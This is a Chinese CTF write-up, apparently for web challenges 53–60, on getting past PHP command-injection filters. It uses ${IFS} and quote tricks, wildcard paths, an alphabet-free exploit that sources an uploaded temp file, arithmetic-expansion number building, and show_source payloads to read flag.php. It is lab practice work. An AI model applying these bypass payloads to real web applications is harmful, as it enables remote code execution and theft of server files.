web53
开启容器
试了下?c=nl${IFS}fla''g.php||
发现会直接回显,查看原题,发现本题命令执行不同
1 | echo($c); |
之前的一般是
1 | system($c); |
辨析
- 本题命令执行
echo($c);
这行代码会直接输出变量 $c 的值。如果 $c 是一个字符串,它会将字符串内容输出到浏览器或控制台。$d = system($c);
这里的 system($c) 函数执行系统命令 $c,并将命令的输出直接发送到浏览器或控制台。同时,system 函数会返回命令的最后一条输出行,并将其赋值给变量 $d。echo "<br>".$d;
这行代码会输出变量 $d 的值,并在前面添加一个 HTML 换行符<br>
。变量 $d 包含的是命令 $c 执行后的最后一条输出行。
system($c);
传统命令执行- system($c);`
这行代码直接执行系统命令 $c,并将命令的输出直接发送到浏览器或控制台。system 函数会返回命令的最后一条输出行,但这里没有将返回值赋值给变量,因此无法进一步使用这个返回值。
- system($c);`
测试一下 ?c=ls
先输出我们传入的内容,即 ls
的回显;紧接着直接输出 ls
执行的结果 flag.php index.php readflag;
system
函数返回命令输出的最后一行,执行结果最后一行是 readflag
,所有 $d 的值是 readflag
,前面还拼接了一个 "<br>"
,因此会换行输出。
其实刚开始的payload把||
删掉即可,因为这里没有黑洞路径了
符号$
也被放出
直接?c=nl${IFS}fla''g.php
web54
开启容器
感觉是防止在特定字符串中用\
等符号隐藏
具体过滤
1 | ;\|:匹配分号 ; 或者竖线 |。 |
nl
被过滤
发现可以用
1 | ?c=rev${IFS}fla?.php //倒装的flag |
因为 Linux 有很多命令存放在 /bin/ 目录下,可以通过绝对路径来使用,并且支持通配符。
Linux 下万物皆文件
也就是说 cat 命令也可这样用:/bin/?at
我来本地试一下,只能说太细了
web55
开启容器
与上题目不同 字母被完全过滤
网上学到
无字母 rce 里还有一个点:临时文件上传
本地上传网页
1 |
|
上传页面如下
然后构造上传的exp.txt
1 | #!/bin/sh |
上传并抓包
发到重发器,添加 payload:
1 | ?c=.%20/???/????????[@-[] |
成功RCE
.(点)
的用法,就是相当于source
可以执行sh命令。
接下来直接cat flag.php
即可
%20
是空格,我们这里使用点执行我们上传的文件,从而去执行内容中的 sh 命令,该文件会传到 /tmp/phpxxxxxx ,过滤了字母我们使用通配符问号代替,主要匹配的特征是文件名结尾的大写字母,大写字母不一定随机出现在最后一位,可能需要多试几次。
第二种做法
除了通过POST上传文件,执行文件里面的命令外,那linux中那么多sh命令,还有没有我们可以使用的呢?答案是肯定的
/bin/base64命令
/bin/base64的主要作用是对数据进行Base64编码或解码
使用方法:/bin/base64 filename
这个命令会将filename文件的内容进行Base64编码,并将结果输出
因为不能出现字母,所以
payload:?c=/???/????64 ????.???
因为这里有64,所以不会匹配到其他命令
最终得到base64加密的flag.php
web56
开启容器
.
同样没过滤
上题第二种base无法成功,
web57
开启容器,提示:
1 | flag in 36.php |
变量可控,只需要把$c
变为36.php
即可
数字、字母、’.’都被过滤
我们给出主要解决无字母rce的一种方法就是利用自增运算符(用二进制理解)
而这里恰好没有把$给过滤掉,其目的也显而易见
在linux中
$(())=0
$((~ $(()) ))=-1
1 | $(()) |
这样一直重复嵌套就可以先得到-37,-37就是用37个
$((~$(())))
串在一起,然后在外面加一层$(())
就可以
再对其取反,加一层$(())就可以得到36
$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))
?c=$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))
web55-57 无字母RCE题目
web58
开启容器
很明显有后端过滤
c=print_r(scandir('./'));
可以看路径
使用 show_source 或者 highlight_file,构造 payload:
1 | c=show_source('flag.php'); |
web59
开启容器
一样的前端
与上题一样
使用 show_source 或者 highlight_file,构造 payload:
1 | c=show_source('flag.php'); |
web60
开启容器
使用 show_source 或者 highlight_file,构造 payload:
1 | c=show_source('flag.php'); |
同样处理